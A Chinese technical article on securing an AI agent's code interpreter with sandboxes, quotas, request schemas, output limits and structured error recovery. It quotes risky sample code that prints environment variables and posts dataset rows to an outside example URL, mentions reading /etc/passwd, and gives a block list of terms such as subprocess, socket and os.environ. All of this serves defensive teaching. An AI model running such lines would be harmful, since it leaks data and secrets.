Agent 的代码解释器与沙箱安全

Agent 的代码解释器与沙箱安全
一个只会调用固定工具的 Agent可能需要我们提前准备好groupby_stats、compute_margin、plot_bar_chart、detect_outliers等一堆能力。可真实分析任务经常不是这么规整字段名不统一利润率可能要现算异常值要先过滤图表要根据数据形态调整。此时让模型生成一小段 Python再交给受控环境执行是很自然的选择。这也是代码解释器的吸引力它把固定工具变成了可组合工具。模型不再只能按预设按钮而是可以把 Pandas、统计函数和绘图库临时编排起来。但风险也从这里开始。当 Agent 开始写代码它就不只是“回答问题”而是在影响计算环境。它可能读错文件、写爆磁盘、跑出无限循环、偷偷访问网络、泄露数据样本或者在报错后反复重试烧光预算。这篇的核心判断是代码解释器的核心不是代码生成而是受控执行。没有沙箱、配额、输出约束和错误恢复代码解释器只是一个高风险的run_python。一、代码解释器不是把exec暴露给模型在最小数据分析 Agent 里我们曾经用过一个教学简化版run_pythonenv { df: df, pd: pd, plt: plt, out_dir: out_dir, } exec(compile(code, agent-code, exec), env, env)这段代码能帮助我们看懂 Agent loop模型生成动作控制器执行代码观察结果回到下一轮上下文。但它不能直接进入生产。原因很简单exec发生在当前进程里。模型生成的代码一旦执行就和你的服务共享解释器、内存、文件权限、环境变量和进程生命周期。哪怕你删掉一部分内置函数也很难把 Python 运行时真正变成安全边界。比如模型生成的代码未必有恶意也可能只是无意中写出这些行为whileTrue: pass df.to_csv(full_dataset_dump.csv, indexFalse) importos print(os.environ) importrequests requests.post(https://example.com/upload, datadf.head(100).to_csv())这几段代码分别对应四类风险CPU 被占满、数据落盘失控、环境信息泄露、网络外传。所以代码解释器不能被理解成“给模型一个 Python REPL”。更准确的说法是模型生成代码 - 控制器校验请求 - 沙箱执行代码 - 收集结构化结果和产物 - 清理环境 - 把观察结果返回给 Agent代码解释器真正提供的是这个闭环。代码只是其中一环安全边界和结果协议同样重要。二、一个可控执行器至少要有请求协议让 Agent 调用代码解释器时第一步不是写沙箱而是先定义它能请求什么。对数据分析任务来说模型不应该传入任意文件路径也不应该决定输出目录。它只需要提交代码、说明预期产物类型其他上下文由控制器注入。一个简化的请求结构可以这样设计frompydanticimportBaseModel, Field classCodeRunRequest(BaseModel): code: strField(max_length8_000) purpose: strField(description本次代码要完成的分析目标) expected_artifacts: list[str] Field(default_factorylist)注意这里少了很多“看起来灵活”的参数。没有csv_path因为当前数据集由任务状态决定。没有output_dir因为产物目录由控制器分配。没有timeout因为超时时间由系统策略决定不能让模型自己放宽。没有network_enabled因为网络权限不是模型可以临时申请的布尔开关。控制器可以在执行前构造一份运行上下文run_context { dataset_id: state.dataset_id, input_path: sandbox_input_path, output_dir: sandbox_output_dir, timeout_seconds: 8, memory_mb: 512, network: disabled, }这一步的原则很直接模型负责表达分析意图和代码系统负责决定权限、路径、配额和生命周期。如果把这些安全参数都开放给模型填写Agent 就会在“想完成任务”和“遵守边界”之间自我协商。安全设计不能依赖这种自觉。三、三种执行方案从教学简化到可上线隔离代码解释器常见有三种实现路径进程内受限执行、容器沙箱、云函数或远程执行服务。它们不是谁绝对替代谁而是适合不同阶段。方案适合阶段优点主要风险进程内受限执行本地教学、内部原型快、实现简单、调试方便很难形成强安全边界Docker / 容器沙箱私有部署、可控服务端隔离文件系统和资源工程可控配置不当会把宿主机暴露出去云函数 / 远程执行服务多租户、弹性任务生命周期短、天然超时、便于按量伸缩IAM、网络和数据出入仍需严格治理进程内受限执行适合教学和可信内部任务。可以限制内置函数、白名单导入、设置超时但不要把它当成处理不可信代码的安全方案。它更像“快速验证代码解释器行为”不是强沙箱。容器沙箱是很多团队的第一条工程化路线。每次执行代码时启动一个临时容器把数据文件以只读方式挂进去把输出目录挂到指定位置再限制 CPU、内存、进程数、网络和运行时间。一个容器执行请求应该接近这样的边界只读输入目录/workspace/input 可写输出目录/workspace/output 禁用网络--network none 只读根文件系统--read-only 内存上限--memory 512m CPU 上限--cpus 1 进程数上限--pids-limit 64 运行超时8 秒 执行后销毁容器这些配置不能保证“绝对安全”但它们把风险从当前服务进程里移走并且让每次执行都有清晰的资源边界。云函数或远程执行服务适合需要弹性、隔离和多租户治理的场景。代码解释器不直接跑在主应用里而是通过任务队列或 HTTP 调用一个独立执行服务。主应用只上传必要输入等待结构化结果。但云函数也不是魔法。它仍然需要最小权限的身份、受控网络、临时存储限制、超时、出入数据审计。把代码换到云上运行只是换了一个隔离层不是自动获得安全。一般的演进顺序可以是本地教学进程内执行看懂闭环 内部原型独立子进程 超时 临时目录 可上线服务容器沙箱或远程执行服务 多租户系统执行服务隔离 权限治理 审计和配额不要从第一天就把架构做得过重也不要把教学版exec当成上线方案。关键是清楚自己处在哪个阶段。四、沙箱要管住五条边界“放进 Docker”不是安全方案的结束只是开始。一个数据分析代码解释器至少要管住五条边界文件、网络、资源、依赖、输出。第一文件边界。模型生成的代码只能读取当前任务的数据副本不能访问原始上传目录、服务配置目录、用户家目录或系统路径。输入目录应该只读输出目录应该按任务隔离执行结束后只保留明确允许的产物。对数据分析 Agent 来说模型也不应该知道真实存储路径。它只需要知道当前数据已加载为 df。 图表请保存到 out_dir。 不要读取任意本地路径。这比让模型自己操作E:\data\customer_uploads\...或/mnt/prod/uploads/...稳得多。第二网络边界。默认禁用网络。数据分析任务通常不需要联网才能完成 CSV 聚合、统计和绘图。只要打开网络就要面对数据外传、依赖下载、访问内网服务等风险。如果确实需要联网例如拉取公开汇率或行业指标也应该做成独立工具而不是让代码解释器任意发请求。独立工具可以有固定域名、缓存、审计和返回值约束。第三资源边界。代码解释器必须设置 CPU、内存、进程数、运行时间和输出文件大小限制。分析代码写错非常常见不需要恶意也能拖垮服务。典型风险包括死循环或超大 join 占满 CPU读取大文件后复制多份 DataFrame 打爆内存无限生成图片或中间文件写满磁盘递归或多进程把执行环境拖死这些问题不能靠 Prompt 解决必须靠运行时硬限制。第四依赖边界。沙箱里预装哪些包要明确。数据分析 Agent 通常只需要pandas、numpy、matplotlib、scipy这类基础依赖。不要允许代码在执行时随意pip install。动态安装依赖会带来三类问题执行变慢、结果不可复现、供应链风险上升。更稳的做法是维护少量固定镜像例如python-data-basic: pandas numpy matplotlib python-stats: pandas numpy scipy statsmodels python-ml-lite: pandas numpy scikit-learnTool Router 可以根据任务选择镜像但模型不应该临时决定安装什么包。第五输出边界。代码解释器返回给模型的内容不能无限长。否则一次print(df.to_string())就可能把整张表塞回上下文。工具返回应该做三件事截断 stdout 和 stderr只保留关键片段。对产物做白名单只允许图片、表格摘要、文本报告等指定类型。对结果做数据脱敏或行数限制避免把原始明细整批带回模型上下文。输出边界经常被低估。输入泄露是一种风险输出失控同样是。五、错误恢复靠结构化观察不靠模型“反省”代码解释器的价值不只是执行成功。它还要让 Agent 在执行失败后能修。数据分析代码最常见的错误并不复杂字段名猜错KeyError日期解析失败ValueError数值列里混入字符串TypeError图表中文乱码或布局溢出数据为空聚合结果没有意义运行超时或内存超限如果沙箱只返回“执行失败”模型下一轮只能继续猜。如果把完整 traceback 原样塞回去噪声又太大。更好的做法是把错误压成结构化观察defbuild_error_observation(error, code, schema): return { ok: False, error_type: type(error).__name__, error_message: str(error)[:500], failed_code_excerpt: code[:1_000], available_columns: schema.columns, dtypes: schema.dtypes, retry_hint: 请只使用 available_columns 中存在的字段并在必要时先做类型转换。, }这段返回不是为了替模型写代码而是给它下一轮修复所需的最短证据链。成功观察也要结构化{ ok: true, stdout_excerpt: region\n华东 0.18\n华南 0.11\n华北 0.09, artifacts: [ { type: image, path: outputs/profit_margin_by_region.png } ], warnings: [ profit 字段有 8 条缺失值计算时已忽略。 ] }这类返回值能支撑模型做三件事解释结果、引用真实产物、说明数据局限。错误恢复还需要硬停止条件。代码解释器尤其容易出现“修一次、错一次、再修一次”的循环。控制器至少要记录当前任务已执行代码次数连续失败次数总运行时间总 token 成本是否重复出现同一类错误当连续失败达到阈值时Agent 应该停止并说明限制而不是继续赌下一轮。这也是代码解释器和普通工具的区别普通工具参数空间较小错了多半是填参问题代码解释器参数空间巨大失败恢复必须有预算边界。六、代码审查可以做但不要把它当唯一防线很多团队会想到在执行前让模型先审查代码这段代码是否包含危险操作 是否访问了网络 是否读取了非授权文件代码审查有价值尤其能拦住一些明显问题例如import os、open(/etc/passwd)、requests.post(...)、subprocess.run(...)。但它不能替代沙箱。第一模型审查会漏。生成代码和审查代码可能使用同类模型错误模式会相关。第二静态规则会被绕。Python 的动态特性太强危险行为未必以显眼字符串出现。第三安全策略不能只发生在自然语言层。真正有效的边界必须由运行时强制执行。更稳的做法是多层防御工具 schema不开放路径、网络、权限参数 静态检查拦截明显危险导入和系统调用 沙箱策略限制文件、网络、资源和进程 运行时监控超时、内存、输出大小、产物类型 执行审计记录代码、输入摘要、产物、错误和成本这里的重点不是“哪一层最强”而是不要把任何一层当成全部。对数据分析 Agent 来说最有性价比的静态检查通常很朴素BLOCKED_TERMS [ subprocess, socket, requests, urllib, os.environ, open(, __import__, ] defreject_obviously_dangerous_code(code: str) -None: loweredcode.lower() forterminBLOCKED_TERMS: ifterm.lower() inlowered: raiseValueError(f代码包含不允许的操作: {term})这不是完整安全方案只是执行前的低成本筛查。真正的防线仍然是沙箱权限和运行时限制。七、什么时候该给 Agent 代码解释器代码解释器很强但不应该成为所有问题的默认工具。如果用户只是问“这张表有多少行”固定的inspect_csv更快、更稳、更便宜。如果用户只是要“按地区汇总销售额”结构化的 SQL 或聚合工具更容易审计。如果任务需要探索性分析、组合多个步骤、根据中间结果调整图表代码解释器才开始显出价值。一个实用判断是任务类型更适合的工具查看字段、行数、缺失值inspect_csv固定口径聚合和筛选SQL / 聚合工具标准图表生成结构化绘图工具探索性分析、多步清洗、临时指标代码解释器高风险写操作、业务系统变更不应交给代码解释器这和上一篇的动态工具选择正好接上代码解释器应该是工具箱里的高能力、高风险工具而不是第一轮就暴露的万能入口。在数据分析 Agent 里可以设置这样的暴露规则未检查数据结构不暴露代码解释器只暴露 inspect_csv 已知字段且任务简单优先暴露 SQL / 聚合 / 绘图工具 任务需要临时计算或多步处理暴露代码解释器 连续代码失败两次降级为澄清问题或请求人工检查 涉及外部访问或任意文件读取拒绝代码解释器这不是削弱 Agent而是让它在合适的时候使用自由度更高的工具。让 Agent 会写代码最容易被展示成一个很漂亮的 Demo模型写 Pandas生成图表报错后自己修最后输出结论。工程上真正要守住的是另一面这段代码在哪里跑能看到什么能写到哪里能跑多久能返回多少内容失败几次后必须停。这篇真正想留下的判断是代码解释器不是 Agent 的大脑而是 Agent 的高风险执行器。它越强越需要被关进清楚的边界里。对数据分析 Agent 来说比较稳的落地路径是先用inspect_csv建立数据结构观察再用固定工具处理常见问题只有在任务确实需要探索性计算时才暴露代码解释器。执行时把路径、网络、资源、依赖和输出都收进控制器和沙箱执行后把成功结果或失败原因压成下一轮可行动的观察。